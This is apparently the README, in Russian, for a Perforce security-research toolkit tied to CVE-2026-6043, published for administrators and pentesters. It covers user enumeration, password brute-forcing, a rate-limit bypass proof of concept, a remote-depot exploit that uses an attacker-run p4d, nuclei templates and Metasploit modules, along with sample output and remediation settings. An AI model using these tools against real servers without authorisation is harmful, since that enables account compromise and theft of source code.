
Исследования безопасности и инструменты Perforce - CVE-2026-6043
Инструменты для исследования безопасности Perforce (Helix Core) и шаблоны nuclei.
Статья об исследовании: https://morganrobertson.net/p4wned/
Пожалуйста, прочитайте выше для полных подробностей.
Только авторизованные цели. Используйте на своих серверах или с явным письменным разрешением.
Целевая аудитория: администраторы серверов Perforce, пентестеры, инженеры по безопасности
Обновление мая 2026: Выпущена Perforce 2026.1. Эта версия поставляется с безопасными настройками по умолчанию! Очень рады видеть этот релиз для защиты интеллектуальной собственности разработчиков. Читать далее.
Примечание: Эти инструменты сканируют неправильные конфигурации, являющиеся результатом CVE-2026-6043.
| Инструмент | Требуется |
|---|---|
p4wned.py | Python 3, p4 CLI binary (см. ниже) |
p4ghost.py | Python 3, p4 CLI binary, локальный экземпляр p4d (см. настройку ниже) |
p4-auth-hammer | g++, Perforce C++ API, OpenSSL 1.1.1 (см. p4-auth-hammer/README.md) |
| JavaScript инструменты | Node.js (без внешних зависимостей) |
| Шаблоны Nuclei | Nuclei v3+ |
| Модули Metasploit | Metasploit Framework |
Получение бинарного файла p4 (требуется для p4wned.py и p4ghost.py):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
Серверы Perforce используют собственный бинарный TCP-протокол (порт по умолчанию 1666). Многие установки поставляются с небезопасными настройками по умолчанию — неаутентифицированный список пользователей, раскрытие информации о сервере, доступные удаленные депо, отсутствие требований к паролям и отсутствие ограничения скорости попыток входа. Все инструменты здесь используют эти настройки по умолчанию без необходимости в учетных данных.
Основной сканер. Использует бинарный файл CLI p4 для перечисления пользователей, проверки учетных данных, списка депо и создания отчета.
python3 p4wned.py [-brute] [-audit] [-parallel N]
Параметры:
| Флаг | Описание |
|---|---|
-brute | Включить режим подбора — проверяет пароли для всех обнаруженных учетных записей |
-audit | Режим тщательного аудита — продолжает тестирование всех пользователей даже после нахождения уязвимости |
-parallel N | Количество параллельных попыток подбора пароля (по умолчанию: 1) |
Конфигурация (редактировать в начале скрипта):
Что он делает:
run.users.authorize=0)super для скомпрометированных учетных записейВывод в консоль:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
· Confirms depots access and those juicy "super" user accounts.
· Drops a tidy report so you can fix the mess before the Skids arrive
Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================
=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.
[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...
[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666
[INFO] Report saved to perforce-report-p4wned-1775436520.txt
Файл отчета (perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
Проверяет неаутентифицированный доступ к удаленному депо через скрытого пользователя remote. Эксплойт работает путем запуска локального экземпляра p4d под контролем атакующего — целевой сервер подключается к нему в рамках протокола сервер-сервер, раскрывая при этом список файлов своего депо.
Настройка (однократная):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# Start a plain ASCII p4d on port 1818 (used as the attacker's server)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# Start a unicode p4d on a separate port (1819) for unicode targets
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # convert to unicode mode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# Example invocation using the local attacker servers above
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
Аргументы:
Затронутые версии: Все версии ниже 2025.1 с security < 4 (по умолчанию 0).
Доказательство концепции, демонстрирующее, что p4d не эффективно ограничивает скорость попыток аутентификации при security < 3. Достигает более 300 000 попыток входа в минуту для одной учетной записи с использованием Perforce C++ API.
./p4_auth_hammer_poc <server:port> <username> <password_file> [-ticketauth]
Сборка (требуется Perforce C++ API и OpenSSL 1.1.1 — см. p4-auth-hammer/README.md для полной настройки):
bash p4-auth-hammer/p4_auth_hammer_poc_build.sh
Режимы:
security < 3). Ограничение скорости полностью обходится. >300 000 попыток/мин.-ticketauth: вход на основе тикета (security >= 3). Ограничение скорости (dm.user.loginattempts) активно на этом уровне.Автоматически определяет SSL и unicode серверы. Автоматически настраивает количество потоков для максимальной пропускной способности.
Устранение: p4 configure set security=3 (или 4). См. p4-auth-hammer/README.md для полных подробностей.
Автономные скрипты Node.js. Без зависимостей, кроме стандартной библиотеки Node.js. Все скрипты автоматически определяют SSL против обычного TCP и режим ASCII против unicode — флаги не требуются.
Формат файла целей: host:port одна на строку, порт по умолчанию 1666, если не указан. Строки, начинающиеся с #, игнорируются.
p4testascii.example.net:1666
p4testunicode.example.net:1666
p4testunicode.example.net:1667
Автоопределение: Сначала пробуется обычный TCP. Если сервер отвечает сообщением об ошибке SSL Perforce ("Failed client connect, server using SSL"), соединение повторяется через TLS с rejectUnauthorized: false (принимает самоподписанные сертификаты). Сначала пробуется режим ASCII; если сервер возвращает сообщение об ошибке unicode, соединение повторяется с параметром unicode.
Использует run.users.authorize=0 (по умолчанию) для вывода списка всех учетных записей без аутентификации.
node javascript/perforce-users.js [targets_file]
Вывод: [host:port] [tcp|ssl] username <email> "Full Name"
Использует dm.info.hide=0 (по умолчанию) для извлечения версии сервера, внутреннего адреса, корневого пути и строки лицензии.
node javascript/perforce-info.js [targets_file]
Вывод:
[host:port] [tcp|ssl]
Version : P4D/LINUX26X86_64/2024.2/2877946
Server Addr: internal-hostname:1666
Server Root: /opt/perforce/p4root
License : Acme Corp
Находит учетные записи пользователей без установленного пароля. Использует формат вывода с тегами (параметр tag) для обнаружения отсутствия поля Password в записях пользователей. Учетные записи без пароля позволяют прямой неаутентифицированный вход.
node javascript/perforce-passwordless.js [targets_file]
Вывод: [host:port] [tcp|ssl] [PASSWORDLESS] username <email> "Full Name"
Использует скрытого пользователя remote через RPC сервер-сервер rmt-DbPipe для прямого чтения таблицы db.rev, извлекая пути к файлам депо и номера изменений без аутентификации. Затронутые версии: ниже 2025.1 с security < 4.
node javascript/perforce-remote.js [targets_file]
Вывод:
[host:port] [tcp|ssl] 42 file(s) in depot:
[change=7] [2024-11-03] //depot/src/main.cpp
[change=3] [2024-09-12] //depot/config/database.yml
Извлекает глобальные значения ключей/счетчиков с серверов Perforce. Ключи могут содержать номера сборок, внутренние строки версий и конфигурацию.
node javascript/perforce-keys.js [targets_file]
Вывод: [host:port] [tcp|ssl] keyname = value
Шаблоны для Nuclei. Все шаблоны используют этап TCP-шлюза для подтверждения наличия сервера Perforce перед выполнением полезной нагрузки JavaScript. Шаблоны используют тот же подход автоопределения, что и JavaScript инструменты.
nuclei -t nuclei-templates/ -u target:1666
nuclei -t nuclei-templates/ -l targets.txt
| Шаблон | ID | Описание |
|---|---|---|
perforce-detect.yaml | perforce-detection | Обнаруживает серверы Perforce через рукопожатие бинарного протокола. Серьезность: info. |
Ограничения: Нет поддержки SSL, только порт 1666. См. JavaScript инструменты для получения дополнительной информации.
Три вспомогательных модуля сканера для Metasploit Framework, плюс общая библиотека mixin, обрабатывающая бинарный протокол Perforce. Эти модули охватывают те же уязвимости, что и автономные инструменты выше — перечисление пользователей, обнаружение учетных записей без пароля и эксплуатация удаленного депо.
Все модули автоматически определяют режим сервера ASCII или unicode. Поддерживается SSL.
| Модуль | Описание |
|---|---|
auxiliary/scanner/perforce/perforce_user_enum |
Исходные файлы находятся в каталоге metasploit/. PR был отправлен в Metasploit Framework.
Краткая справка по устранению:
| Переменная | Описание |
|---|
INPUT_FILE | Список целей (ip:port, одна на строку) — по умолчанию perforce-servers.txt |
P4_CMD | Путь к бинарному файлу p4 — по умолчанию ./p4 |
TOP_PASSWORDS_FILE | Словарь для подбора — по умолчанию top-passwords.txt |
KNOWN_CREDS_FILE | Известные пары учетных данных для первой проверки |
REPORT_FILE | Путь к выходному отчету |
| Флаг | Описание |
|---|
input_file | Список целей (ip:port, одна на строку) |
-skipnolicense | Пропустить серверы, возвращающие Server license: none |
-report FILE | Путь к выходному отчету |
-p4cmd PATH | Путь к бинарному файлу p4 (по умолчанию ./p4) |
-unicodeport PORT | Локальный порт p4d для unicode, используемый как сервер атакующего |
-nonunicodeport PORT | Локальный порт p4d для не-unicode |
-timeout SECS | Тайм-аут команды |
| Шаблон | ID | Серьезность | CVSS | Описание |
|---|
perforce-user-extraction.yaml | perforce-user-enumeration | Medium | 5.3 | Неаутентифицированный список пользователей — серверы ASCII и unicode. Извлекает имена пользователей, email, полные имена. |
perforce-info-disclosure.yaml | perforce-info-disclosure | Medium | 5.3 | Раскрытие информации о сервере — версия, внутренний адрес, корневой путь, лицензия. |
perforce-passwordless-users.yaml | perforce-passwordless-users | Critical | 9.1 | Находит учетные записи без установленного пароля. |
perforce-remote-depot-unauth.yaml | perforce-remote-depot-access-unauth | High | 7.5 | Удаленный доступ к депо через пользователя remote — серверы ASCII и unicode. Извлекает пути к файлам и номера изменений. Затронуто: < 2025.1 с security < 4. |
| Неаутентифицированный список пользователей — извлекает имена пользователей, email, полные имена и время последнего доступа. |
auxiliary/scanner/perforce/perforce_passwordless | Обнаруживает учетные записи без установленного пароля. |
auxiliary/scanner/perforce/perforce_remote_depot | Перечисление файлов удаленного депо через скрытого пользователя remote. Затронуто: < 2025.1 с security < 4. |
| Проблема | Исправление |
|---|
| Перечисление пользователей | p4 configure set run.users.authorize=1 |
| Раскрытие информации | p4 configure set dm.info.hide=1 |
| Пользователи без пароля | Установите пароли для всех учетных записей; p4 configure set dm.user.noautocreate=2 |
| Доступ к удаленному депо | Обновитесь до 2025.1+, или p4 configure set security=4 |
| Ограничение скорости аутентификации | p4 configure set security=3 (включает эффективную блокировку через dm.user.loginattempts) |
| Все вышеперечисленное | p4 configure set security=4 плюс отдельные настройки выше — security=4 исправляет удаленный эксплойт, но не скрывает списки пользователей или информацию о сервере |